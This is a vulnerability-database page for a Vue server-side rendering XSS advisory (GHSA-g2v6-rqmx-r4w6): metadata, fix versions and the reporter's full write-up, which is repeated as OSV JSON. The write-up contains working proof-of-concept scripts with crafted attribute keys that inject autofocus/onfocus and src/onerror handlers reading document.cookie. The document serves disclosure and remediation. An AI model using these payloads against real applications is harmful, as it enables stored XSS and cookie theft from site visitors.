Vulnerabilities in pkg:npm/@vue/server-renderer

PACKAGE
Advisory Summary

GHSA-g2v6-rqmx-r4w6 is a HIGH (CVSS 7.2) cross-site scripting vulnerability (CWE-116: Improper Encoding or Escaping of Output) affecting @vue/server-renderer libraries in the npm ecosystem. The issue involves xss via missing cr in attribute-name blacklist. Remediation is available by upgrading affected packages to version 3.5.42, 3.6.0-rc.6.

1 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:npm/@vue/server-renderer

1 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:npm/@vue/server-renderer. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-g2v6-rqmx-r4w6 - HIGH @vue/server-renderer: XSS via missing CR in attribute-name blacklist

GHSA-g2v6-rqmx-r4w6 at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-g2v6-rqmx-r4w6
Severity HIGH
CVSS v3.1 Base Score 7.2
CWE Classification CWE-116: Improper Encoding or Escaping of Output
Affected Product @vue/server-renderer
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.2

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability None (A:N)

How to Fix GHSA-g2v6-rqmx-r4w6

To remediate this vulnerability, upgrade all affected @vue/server-renderer dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@vue/server-renderer fixed: 3.5.42
npm install @vue/server-renderer@3.5.42
@vue/server-renderer fixed: 3.6.0-rc.6
npm install @vue/server-renderer@3.6.0-rc.6
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @vue/server-renderer

How to Check if You Are Affected

To determine whether your Node.js application is affected by GHSA-g2v6-rqmx-r4w6, inspect your project dependencies using npm:

npm ls @vue/server-renderer

Analyze the terminal output to locate any version of @vue/server-renderer in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.5.42), your application is affected.

Note: The npm ls @vue/server-renderer command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-116: Improper Encoding or Escaping of Output, where the product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. as a result, the intended structure of the message is not preserved. In @vue/server-renderer, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Description `@vue/server-renderer` was investigated specifically because it's the one place in Vue where template rendering output becomes a real HTTP response body -- a genuine server-side trust boundary, unlike client-side rendering which only ever affects the same browser session that's already running the app's own JS. `ssrRenderAttrs()` (in `packages/server-renderer/src/helpers/ssrRenderAttrs.ts`) is what compiled SSR output calls for something like `<div v-bind="userObject">`. It loops over the object's own keys and, for each one, renders it as an HTML attribute: ```ts export function ssrRenderDynamicAttr( key: string, value: unknown, tag?: string, ): string { if (!isRenderableAttrValue(value)) { return `` } const attrKey = ... if (isBooleanAttr(attrKey) || ...) { return includeBooleanAttr(value) ? ` ${attrKey}` : `` } else if (isSSRSafeAttrName(attrKey)) { return value === '' ? ` ${attrKey}` : ` ${attrKey}="${escapeHtml(value)}"` } else { console.warn(`[@vue/server-renderer] Skipped rendering unsafe attribute name: ${attrKey}`) return `` } } ``` The value always goes through `escapeHtml()` -- that part is correctly and consistently applied everywhere in this file. But the attribute name (`attrKey`) is only checked against a character blacklist, then spliced directly into the output with no escaping of its own: ```ts // packages/shared/src/domAttrConfig.ts const unsafeAttrCharRE = /[>/="'\u0009\u000a\u000c\u0020]/ export function isSSRSafeAttrName(name: string): boolean { if (attrValidationCache.hasOwnProperty(name)) { return attrValidationCache[name] } const isUnsafe = unsafeAttrCharRE.test(name) if (isUnsafe) { console.error(`unsafe attribute name: ${name}`) } return (attrValidationCache[name] = !isUnsafe) } ``` That blacklist covers: `>`, `/`, `=`, `"`, apostrophe, tab (U+0009), line feed (U+000A), form feed (U+000C), and space (U+0020). It does not cover U+000D -- carriage return (CR, written as `\r` in JS). That matters because of how browsers actually parse HTML. Per the WHATWG HTML parsing spec, the very first step ("preprocessing the input stream") converts every `\r` not followed by `\n` into a `\n` before the tokenizer even starts. So a raw `\r` sitting inside what Vue intends as a single attribute name gets turned into a real line feed by the browser -- and a line feed is one of the characters that terminates an attribute name and starts a new one. The blacklist checks the string as Vue sees it before the browser gets to reinterpret it, and that's exactly the gap. Below is a fresh clone of this repo, confirming the exact commit, the exact vulnerable line, and zero modification to the source: <img width="781" height="336" alt="poc1" src="https://github.com/user-attachments/assets/f4b92955-9a8f-4700-8c51-38ee46912de8" /> ## Prrof The real, unmodified  ssrRenderAttrs()  from the published  @vue/server-renderer@3.5.41  package was tested. The source at HEAD and the upcoming  v3.6.0-rc.2  tag were also checked, and the same vulnerable regular expression was present in both; no branch containing a fix was identified. Full script, saved as `poc.mjs` (GitHub doesn't let me attach `.mjs` directly, so the complete file is here): ```js import { ssrRenderAttrs } from '@vue/server-renderer'; import { parseFragment } from 'parse5'; // This is exactly what compiled SSR output calls for `<div v-bind="userObject">` // -- the real, unmodified, published ssrRenderAttrs function. // Full attack chain: the key itself contains ONLY letters, digits, and a // bare \r (carriage return) -- no '>', '/', '=', '"', "'", tab, LF, FF, or // space anywhere, so isSSRSafeAttrName() considers it fully safe. The value // is attacker-controlled JavaScript, delivered as the genuine value of the // LAST \r-separated fragment, which Vue's own template naturally appends via // `="${escapeHtml(value)}"` immediately after the key. const maliciousKey = 'x\rautofocus\ronfocus'; const props = { [maliciousKey]: 'alert(document.cookie)', }; const rawAttrString = ssrRenderAttrs(props); console.log('=== Raw string produced by the real ssrRenderAttrs() ==='); console.log(JSON.stringify(rawAttrString)); console.log(); console.log('=== As it would literally appear in the HTML response ==='); console.log(rawAttrString.replace(/\r/g, '\\r').replace(/\n/g, '\\n\n')); const fullHtml = `<div${rawAttrString}>content</div>`; console.log(); console.log('=== Full element HTML ==='); console.log(JSON.stringify(fullHtml)); // Now parse this EXACT output with parse5 -- a real, spec-compliant HTML5 // parser (the same parsing algorithm real browsers implement, including the // \r\n -> \n input-preprocessing normalization step). const fragment = parseFragment(fullHtml); const div = fragment.childNodes.find(n => n.tagName === 'div'); console.log(); console.log('=== How a real HTML5 parser (parse5) actually interprets this ==='); console.log('Attributes parsed on the <div>:'); for (const attr of div.attrs) { console.log(` ${JSON.stringify(attr.name)} = ${JSON.stringify(attr.value)}`); } const injectedHandler = div.attrs.find(a => a.name === 'onfocus'); const injectedAutofocus = div.attrs.find(a => a.name === 'autofocus'); console.log(); if (injectedHandler && injectedAutofocus) { console.log('*** CONFIRMED: real, separate "autofocus" and "onfocus" attributes were parsed out ***'); console.log(`*** onfocus value: ${JSON.stringify(injectedHandler.value)} ***`); console.log('*** This element will execute the attacker JS automatically on page load, no user interaction needed. ***'); } else { console.log('Not confirmed.'); } ``` This is a fresh `npm install vue@3.5.41 @vue/server-renderer@3.5.41 parse5` -- the real, currently-published packages, not anything modified: <img width="831" height="531" alt="poc2" src="https://github.com/user-attachments/assets/ea350948-4c93-45a3-b21a-f21dc7f90d29" /> Real, captured output: ``` === Raw string produced by the real ssrRenderAttrs() === " x\rautofocus\ronfocus=\"alert(document.cookie)\"" === Full element HTML === "<div x\rautofocus\ronfocus=\"alert(document.cookie)\">content</div>" === How a real HTML5 parser (parse5) actually interprets this === Attributes parsed on the <div>: "x" = "" "autofocus" = "" "onfocus" = "alert(document.cookie)" *** CONFIRMED: real, separate "autofocus" and "onfocus" attributes were parsed out *** *** onfocus value: "alert(document.cookie)" *** ``` <img width="834" height="897" alt="poc3" src="https://github.com/user-attachments/assets/a92f9c5b-e30d-4968-9ec1-8969628c6437" /> <img width="834" height="896" alt="poc4" src="https://github.com/user-attachments/assets/a397cd3f-8eb3-49af-9604-a31a8bcdb2ea" /> The single attribute name Vue intended to render safely -- `x\rautofocus\ronfocus` -- gets parsed by any real browser as three separate things: an empty `x` attribute, a real `autofocus` boolean attribute, and a real `onfocus="alert(document.cookie)"` event handler. `autofocus` means the element receives focus automatically on page load, which fires the `focus` event immediately, which runs the injected JavaScript -- no click, no hover, no user interaction of any kind required. This behavior was confirmed not to be specific to the payload by first isolating the mechanism with a minimal case (`"foo\rbar"` as the key, no other special characters at all), which parse5 also split into two genuine separate attributes (`foo=""` and `bar="..."`), before building the full self-triggering payload above. To go beyond the parser-level proof, there is a second script that calls the real `ssrRenderAttrs()`, captures its exact return value programmatically, and writes that unmodified byte sequence directly into an HTML file on disk -- no HTML was hand-typed anywhere in this step. Full script, saved as `generate_real_poc.mjs`: ```js import { ssrRenderAttrs } from '@vue/server-renderer'; import fs from 'fs'; // This is the ACTUAL, unmodified ssrRenderAttrs() from the real, installed // @vue/server-renderer@3.5.41 -- nothing hand-typed below this line is HTML, // it is Vue's own function's real return value, captured programmatically. const maliciousKey = 'x\rsrc\ronerror'; const props = { [maliciousKey]: 'alert("REAL Vue SSR output executed this -- cookie: " + document.cookie)' }; const vueOutput = ssrRenderAttrs(props); console.log('=== Vue\'s real ssrRenderAttrs() returned exactly this string ==='); console.log(JSON.stringify(vueOutput)); // Build the full page around Vue's UNMODIFIED output -- the <img ...> tag // content between the angle brackets is copied byte-for-byte from vueOutput, // not retyped. const html = `<!DOCTYPE html> <html> <head><title>Vue SSR PoC -- byte-for-byte Vue output</title></head> <body> <h3>Everything inside the &lt;img&gt; tag below was written to this file programmatically from the real return value of <code>ssrRenderAttrs()</code> in the actual installed <code>@vue/server-renderer@3.5.41</code> package. No HTML was hand-typed for the tag itself.</h3> <p>Exact JSON-escaped string Vue's function returned (see generate_real_poc.mjs, run right before this file was written):</p> <pre id="vue-output-proof">${vueOutput.replace(/</g, '&lt;')}</pre> <hr> <img${vueOutput}> </body> </html> `; const outPath = '/Users/onevilx/Desktop/vue-ssr-xss-poc-real.html'; fs.writeFileSync(outPath, html); console.log('\nWrote', outPath); console.log('Bytes inside the <img...> tag are Vue\'s real, unmodified return value.'); ``` Opening that generated file in a real browser fires the payload automatically: <img width="1666" height="449" alt="poc5" src="https://github.com/user-attachments/assets/251bd830-634f-4cd0-bf79-849bbc07ec9a" /> Dev tools on that same page confirm the browser genuinely parsed three separate attributes (`x`, `src`, `onerror`), matching the on-page proof text that was written directly from Vue's real return value: <img width="1348" height="400" alt="poc6" src="https://github.com/user-attachments/assets/b19d6ff0-ecaa-45f3-9149-9f3d0d4faacb" /> Whether this affects client-side (non-SSR) Vue rendering was also checked: it doesn't, and I want to be upfront about that limit too. Client-side Vue sets dynamic attributes via the DOM `setAttribute()` API, which validates the name against the HTML QName grammar and throws a `DOMException` for characters like `"` (I found an existing, unrelated open issue -- #13944 -- that confirms this behavior). That's a fundamentally different code path with its own validation, and I have not found a way to reach this specific bug through it. This is specifically and only an `@vue/server-renderer` (SSR) issue. ## Impact This requires an application to bind an object whose keys (not just values) come from a source the developer doesn't fully control, via `v-bind="object"` or the equivalent compiled form. I want to be honest about how common that is: binding untrusted values into attributes is the standard, everyday Vue pattern that's already safely handled by `escapeHtml()`. Binding untrusted keys is less universal, but it's a real, documented, supported Vue feature, not a misuse of the framework -- and it's exactly the scenario `isSSRSafeAttrName()` exists to defend, which tells me it's already inside your own threat model for this file, just not fully closed. Realistic examples: a CMS or form-builder feature where field/attribute names are configurable by a less-trusted role and gets rendered via SSR to other users; a component that spreads a validated-elsewhere config object onto a root element; any dynamic-attributes helper that takes a plain object where both keys and values may originate from external data (a database record, an API response, a query string parsed into an object). Where it's reachable, the impact is a complete, self-triggering stored XSS in server-rendered HTML -- the injected `autofocus`/`onfocus` payload runs the moment the page loads, for every visitor who receives that server-rendered output, with no interaction needed. That's a real trust-boundary break in a security-relevant helper whose entire job is making data safe to render. ## Suggested fix Add U+000D (carriage return) to `unsafeAttrCharRE` in `packages/shared/src/domAttrConfig.ts`: ```ts const unsafeAttrCharRE = /[>/="'\u0009\u000a\u000c\u000d\u0020]/ ``` Double-checking against the full WHATWG "ASCII whitespace" definition (tab, LF, FF, CR, space -- all five) rather than enumerating characters one at a time would help, since that's exactly the kind of list that's easy to leave a gap in, which is what happened here.

GHSA-g2v6-rqmx-r4w6 Affected @vue/server-renderer Versions

2 component(s)
Fixed Versions:
3.5.423.6.0-rc.6
Product / Package Ecosystem Affected Versions Fixed Version
@vue/server-renderer
npm
< 3.5.42
3.5.42
@vue/server-renderer
npm
≥ 3.6.0-rc.0
< 3.6.0-rc.6
3.6.0-rc.6

References

Frequently Asked Questions

What is GHSA-g2v6-rqmx-r4w6?
GHSA-g2v6-rqmx-r4w6 is a security vulnerability in @vue/server-renderer involving XSS via missing CR in attribute-name blacklist under CWE-116: Improper Encoding or Escaping of Output.
Which @vue/server-renderer versions are affected?
Affected versions include releases prior to 3.5.42, 3.6.0-rc.6 across affected packages: @vue/server-renderer.
What version fixes GHSA-g2v6-rqmx-r4w6?
Upgrading to 3.5.42, 3.6.0-rc.6 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @vue/server-renderer affected?
Yes, @vue/server-renderer is affected in releases prior to 3.5.42, 3.6.0-rc.6. Upgrade your dependency to 3.5.42, 3.6.0-rc.6 or later.
What is the CVSS score of GHSA-g2v6-rqmx-r4w6?
GHSA-g2v6-rqmx-r4w6 has a CVSS v3.1 base score of 7.2 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N.
What CWE is associated with GHSA-g2v6-rqmx-r4w6?
GHSA-g2v6-rqmx-r4w6 is classified under CWE-116: Improper Encoding or Escaping of Output (The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved.).
How can I check npm dependencies for GHSA-g2v6-rqmx-r4w6?
Run the dependency tree command: 'npm ls @vue/server-renderer'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-g2v6-rqmx-r4w6",
  "modified" : "2026-10-05T22:50:55Z",
  "published" : "2026-10-05T22:50:55Z",
  "aliases" : [ ],
  "summary" : "@vue/server-renderer: XSS via missing CR in attribute-name blacklist",
  "details" : "## Description\n\n`@vue/server-renderer` was investigated specifically because it's the one place in Vue where template rendering output becomes a real HTTP response body -- a genuine server-side trust boundary, unlike client-side rendering which only ever affects the same browser session that's already running the app's own JS.\n\n`ssrRenderAttrs()` (in `packages/server-renderer/src/helpers/ssrRenderAttrs.ts`) is what compiled SSR output calls for something like `<div v-bind=\"userObject\">`. It loops over the object's own keys and, for each one, renders it as an HTML attribute:\n\n```ts\nexport function ssrRenderDynamicAttr(\n  key: string,\n  value: unknown,\n  tag?: string,\n): string {\n  if (!isRenderableAttrValue(value)) {\n    return ``\n  }\n  const attrKey = ...\n  if (isBooleanAttr(attrKey) || ...) {\n    return includeBooleanAttr(value) ? ` ${attrKey}` : ``\n  } else if (isSSRSafeAttrName(attrKey)) {\n    return value === '' ? ` ${attrKey}` : ` ${attrKey}=\"${escapeHtml(value)}\"`\n  } else {\n    console.warn(`[@vue/server-renderer] Skipped rendering unsafe attribute name: ${attrKey}`)\n    return ``\n  }\n}\n```\n\nThe value always goes through `escapeHtml()` -- that part is correctly and consistently applied everywhere in this file. But the attribute name (`attrKey`) is only checked against a character blacklist, then spliced directly into the output with no escaping of its own:\n\n```ts\n// packages/shared/src/domAttrConfig.ts\nconst unsafeAttrCharRE = /[>/=\"'\\u0009\\u000a\\u000c\\u0020]/\n\nexport function isSSRSafeAttrName(name: string): boolean {\n  if (attrValidationCache.hasOwnProperty(name)) {\n    return attrValidationCache[name]\n  }\n  const isUnsafe = unsafeAttrCharRE.test(name)\n  if (isUnsafe) {\n    console.error(`unsafe attribute name: ${name}`)\n  }\n  return (attrValidationCache[name] = !isUnsafe)\n}\n```\n\nThat blacklist covers: `>`, `/`, `=`, `\"`, apostrophe, tab (U+0009), line feed (U+000A), form feed (U+000C), and space (U+0020). It does not cover U+000D -- carriage return (CR, written as `\\r` in JS).\n\nThat matters because of how browsers actually parse HTML. Per the WHATWG HTML parsing spec, the very first step (\"preprocessing the input stream\") converts every `\\r` not followed by `\\n` into a `\\n` before the tokenizer even starts. So a raw `\\r` sitting inside what Vue intends as a single attribute name gets turned into a real line feed by the browser -- and a line feed is one of the characters that terminates an attribute name and starts a new one. The blacklist checks the string as Vue sees it before the browser gets to reinterpret it, and that's exactly the gap.\n\nBelow is a fresh clone of this repo, confirming the exact commit, the exact vulnerable line, and zero modification to the source:\n\n<img width=\"781\" height=\"336\" alt=\"poc1\" src=\"https://github.com/user-attachments/assets/f4b92955-9a8f-4700-8c51-38ee46912de8\" />\n\n## Prrof\n\nThe real, unmodified  ssrRenderAttrs()  from the published  @vue/server-renderer@3.5.41  package was tested. The source at HEAD and the upcoming  v3.6.0-rc.2  tag were also checked, and the same vulnerable regular expression was present in both; no branch containing a fix was identified.\n\nFull script, saved as `poc.mjs` (GitHub doesn't let me attach `.mjs` directly, so the complete file is here):\n\n```js\nimport { ssrRenderAttrs } from '@vue/server-renderer';\nimport { parseFragment } from 'parse5';\n\n// This is exactly what compiled SSR output calls for `<div v-bind=\"userObject\">`\n// -- the real, unmodified, published ssrRenderAttrs function.\n// Full attack chain: the key itself contains ONLY letters, digits, and a\n// bare \\r (carriage return) -- no '>', '/', '=', '\"', \"'\", tab, LF, FF, or\n// space anywhere, so isSSRSafeAttrName() considers it fully safe. The value\n// is attacker-controlled JavaScript, delivered as the genuine value of the\n// LAST \\r-separated fragment, which Vue's own template naturally appends via\n// `=\"${escapeHtml(value)}\"` immediately after the key.\nconst maliciousKey = 'x\\rautofocus\\ronfocus';\nconst props = {\n  [maliciousKey]: 'alert(document.cookie)',\n};\n\nconst rawAttrString = ssrRenderAttrs(props);\nconsole.log('=== Raw string produced by the real ssrRenderAttrs() ===');\nconsole.log(JSON.stringify(rawAttrString));\nconsole.log();\nconsole.log('=== As it would literally appear in the HTML response ===');\nconsole.log(rawAttrString.replace(/\\r/g, '\\\\r').replace(/\\n/g, '\\\\n\\n'));\n\nconst fullHtml = `<div${rawAttrString}>content</div>`;\nconsole.log();\nconsole.log('=== Full element HTML ===');\nconsole.log(JSON.stringify(fullHtml));\n\n// Now parse this EXACT output with parse5 -- a real, spec-compliant HTML5\n// parser (the same parsing algorithm real browsers implement, including the\n// \\r\\n -> \\n input-preprocessing normalization step).\nconst fragment = parseFragment(fullHtml);\nconst div = fragment.childNodes.find(n => n.tagName === 'div');\nconsole.log();\nconsole.log('=== How a real HTML5 parser (parse5) actually interprets this ===');\nconsole.log('Attributes parsed on the <div>:');\nfor (const attr of div.attrs) {\n  console.log(`  ${JSON.stringify(attr.name)} = ${JSON.stringify(attr.value)}`);\n}\n\nconst injectedHandler = div.attrs.find(a => a.name === 'onfocus');\nconst injectedAutofocus = div.attrs.find(a => a.name === 'autofocus');\nconsole.log();\nif (injectedHandler && injectedAutofocus) {\n  console.log('*** CONFIRMED: real, separate \"autofocus\" and \"onfocus\" attributes were parsed out ***');\n  console.log(`*** onfocus value: ${JSON.stringify(injectedHandler.value)} ***`);\n  console.log('*** This element will execute the attacker JS automatically on page load, no user interaction needed. ***');\n} else {\n  console.log('Not confirmed.');\n}\n```\n\nThis is a fresh `npm install vue@3.5.41 @vue/server-renderer@3.5.41 parse5` -- the real, currently-published packages, not anything modified:\n\n<img width=\"831\" height=\"531\" alt=\"poc2\" src=\"https://github.com/user-attachments/assets/ea350948-4c93-45a3-b21a-f21dc7f90d29\" />\n\nReal, captured output:\n\n```\n=== Raw string produced by the real ssrRenderAttrs() ===\n\" x\\rautofocus\\ronfocus=\\\"alert(document.cookie)\\\"\"\n\n=== Full element HTML ===\n\"<div x\\rautofocus\\ronfocus=\\\"alert(document.cookie)\\\">content</div>\"\n\n=== How a real HTML5 parser (parse5) actually interprets this ===\nAttributes parsed on the <div>:\n  \"x\" = \"\"\n  \"autofocus\" = \"\"\n  \"onfocus\" = \"alert(document.cookie)\"\n\n*** CONFIRMED: real, separate \"autofocus\" and \"onfocus\" attributes were parsed out ***\n*** onfocus value: \"alert(document.cookie)\" ***\n```\n\n<img width=\"834\" height=\"897\" alt=\"poc3\" src=\"https://github.com/user-attachments/assets/a92f9c5b-e30d-4968-9ec1-8969628c6437\" />\n<img width=\"834\" height=\"896\" alt=\"poc4\" src=\"https://github.com/user-attachments/assets/a397cd3f-8eb3-49af-9604-a31a8bcdb2ea\" />\n\nThe single attribute name Vue intended to render safely -- `x\\rautofocus\\ronfocus` -- gets parsed by any real browser as three separate things: an empty `x` attribute, a real `autofocus` boolean attribute, and a real `onfocus=\"alert(document.cookie)\"` event handler. `autofocus` means the element receives focus automatically on page load, which fires the `focus` event immediately, which runs the injected JavaScript -- no click, no hover, no user interaction of any kind required.\n\nThis behavior was confirmed not to be specific to the payload by first isolating the mechanism with a minimal case (`\"foo\\rbar\"` as the key, no other special characters at all), which parse5 also split into two genuine separate attributes (`foo=\"\"` and `bar=\"...\"`), before building the full self-triggering payload above.\n\nTo go beyond the parser-level proof, there is a second script that calls the real `ssrRenderAttrs()`, captures its exact return value programmatically, and writes that unmodified byte sequence directly into an HTML file on disk -- no HTML was hand-typed anywhere in this step. Full script, saved as `generate_real_poc.mjs`:\n\n```js\nimport { ssrRenderAttrs } from '@vue/server-renderer';\nimport fs from 'fs';\n\n// This is the ACTUAL, unmodified ssrRenderAttrs() from the real, installed\n// @vue/server-renderer@3.5.41 -- nothing hand-typed below this line is HTML,\n// it is Vue's own function's real return value, captured programmatically.\nconst maliciousKey = 'x\\rsrc\\ronerror';\nconst props = { [maliciousKey]: 'alert(\"REAL Vue SSR output executed this -- cookie: \" + document.cookie)' };\n\nconst vueOutput = ssrRenderAttrs(props);\n\nconsole.log('=== Vue\\'s real ssrRenderAttrs() returned exactly this string ===');\nconsole.log(JSON.stringify(vueOutput));\n\n// Build the full page around Vue's UNMODIFIED output -- the <img ...> tag\n// content between the angle brackets is copied byte-for-byte from vueOutput,\n// not retyped.\nconst html = `<!DOCTYPE html>\n<html>\n<head><title>Vue SSR PoC -- byte-for-byte Vue output</title></head>\n<body>\n<h3>Everything inside the &lt;img&gt; tag below was written to this file\nprogrammatically from the real return value of <code>ssrRenderAttrs()</code>\nin the actual installed <code>@vue/server-renderer@3.5.41</code> package.\nNo HTML was hand-typed for the tag itself.</h3>\n<p>Exact JSON-escaped string Vue's function returned (see generate_real_poc.mjs, run right before this file was written):</p>\n<pre id=\"vue-output-proof\">${vueOutput.replace(/</g, '&lt;')}</pre>\n<hr>\n<img${vueOutput}>\n</body>\n</html>\n`;\n\nconst outPath = '/Users/onevilx/Desktop/vue-ssr-xss-poc-real.html';\nfs.writeFileSync(outPath, html);\nconsole.log('\\nWrote', outPath);\nconsole.log('Bytes inside the <img...> tag are Vue\\'s real, unmodified return value.');\n```\n\nOpening that generated file in a real browser fires the payload automatically:\n\n<img width=\"1666\" height=\"449\" alt=\"poc5\" src=\"https://github.com/user-attachments/assets/251bd830-634f-4cd0-bf79-849bbc07ec9a\" />\n\nDev tools on that same page confirm the browser genuinely parsed three separate attributes (`x`, `src`, `onerror`), matching the on-page proof text that was written directly from Vue's real return value:\n\n<img width=\"1348\" height=\"400\" alt=\"poc6\" src=\"https://github.com/user-attachments/assets/b19d6ff0-ecaa-45f3-9149-9f3d0d4faacb\" />\n\nWhether this affects client-side (non-SSR) Vue rendering was also checked: it doesn't, and I want to be upfront about that limit too. Client-side Vue sets dynamic attributes via the DOM `setAttribute()` API, which validates the name against the HTML QName grammar and throws a `DOMException` for characters like `\"` (I found an existing, unrelated open issue -- #13944 -- that confirms this behavior). That's a fundamentally different code path with its own validation, and I have not found a way to reach this specific bug through it. This is specifically and only an `@vue/server-renderer` (SSR) issue.\n\n## Impact\n\nThis requires an application to bind an object whose keys (not just values) come from a source the developer doesn't fully control, via `v-bind=\"object\"` or the equivalent compiled form. I want to be honest about how common that is: binding untrusted values into attributes is the standard, everyday Vue pattern that's already safely handled by `escapeHtml()`. Binding untrusted keys is less universal, but it's a real, documented, supported Vue feature, not a misuse of the framework -- and it's exactly the scenario `isSSRSafeAttrName()` exists to defend, which tells me it's already inside your own threat model for this file, just not fully closed. Realistic examples: a CMS or form-builder feature where field/attribute names are configurable by a less-trusted role and gets rendered via SSR to other users; a component that spreads a validated-elsewhere config object onto a root element; any dynamic-attributes helper that takes a plain object where both keys and values may originate from external data (a database record, an API response, a query string parsed into an object).\n\nWhere it's reachable, the impact is a complete, self-triggering stored XSS in server-rendered HTML -- the injected `autofocus`/`onfocus` payload runs the moment the page loads, for every visitor who receives that server-rendered output, with no interaction needed. That's a real trust-boundary break in a security-relevant helper whose entire job is making data safe to render.\n\n## Suggested fix\n\nAdd U+000D (carriage return) to `unsafeAttrCharRE` in `packages/shared/src/domAttrConfig.ts`:\n\n```ts\nconst unsafeAttrCharRE = /[>/=\"'\\u0009\\u000a\\u000c\\u000d\\u0020]/\n```\n\nDouble-checking against the full WHATWG \"ASCII whitespace\" definition (tab, LF, FF, CR, space -- all five) rather than enumerating characters one at a time would help, since that's exactly the kind of list that's easy to leave a gap in, which is what happened here.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@vue/server-renderer"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.5.42"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@vue/server-renderer"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.6.0-rc.0"
      }, {
        "fixed" : "3.6.0-rc.6"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/vuejs/core/security/advisories/GHSA-g2v6-rqmx-r4w6"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/vuejs/core/pull/15266"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/vuejs/core/commit/a2b40db9a83b36ed9da3a16403cf8f040262d73f"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/vuejs/core"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/vuejs/core/releases/tag/v3.5.42"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/vuejs/core/releases/tag/v3.6.0-rc.6"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-116", "CWE-79" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-05T22:50:55Z",
    "nvd_published_at" : null
  }
}